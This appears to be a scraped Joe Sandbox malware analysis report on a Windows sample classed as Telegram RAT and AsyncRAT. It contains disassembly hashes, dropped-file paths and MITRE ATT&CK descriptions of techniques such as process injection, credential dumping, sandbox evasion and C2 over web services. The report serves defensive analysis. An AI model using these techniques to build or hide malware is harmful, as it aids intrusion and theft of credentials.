Instruction Fuzzy Hash: A2C08C74804244CBF734ABA4D81D329FF12FB41321F24809ABBD34538BEF240518431B

Function 017F0986 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3743365173.00000000017F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_17f0000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e4e9e2a1ca6e7acb494eaa117d3c59ea5d86a6a1808a952ed8d67d5cfcfcd71
Instruction ID: 62bc86eed912dfe6ccef3ebe289b467899631e155ee31724dfb46a19d71a9695
Opcode Fuzzy Hash: 0e4e9e2a1ca6e7acb494eaa117d3c59ea5d86a6a1808a952ed8d67d5cfcfcd71
Instruction Fuzzy Hash: C6C01264814288CBFB349B64D819329EE12A781322F14809AB2D24438BAF240518871B

Function 017F8940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3743365173.00000000017F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_17f0000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71cf55b53793560b8a51eab9101b59d6ee77c7ac10086e339760a0483dc919f
Instruction ID: b6e010f0bfd3c16ab7717e9a3a8b8aa240efdffbb263b2ccac1e8de1414b95aa
Opcode Fuzzy Hash: c71cf55b53793560b8a51eab9101b59d6ee77c7ac10086e339760a0483dc919f
Instruction Fuzzy Hash: 01B0929680A1A147DB22AA7D4A921657B34B953608F8C00D69A80C6267EB54AD565202

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report JGvCEaqruI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: AsyncRAT

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\9c1c4ba6bed6227a288d9e4ecbf7b952\msgid.dat

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JGvCEaqruI.exe.log

C:\Users\user\AppData\Local\Temp\places.raw

C:\Users\user\AppData\Local\Temp\tmp39E3.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp3A12.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp3A23.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp3A43.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp3A54.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp3A93.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp3AA4.tmp.dat

Windows Analysis Report
JGvCEaqruI.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre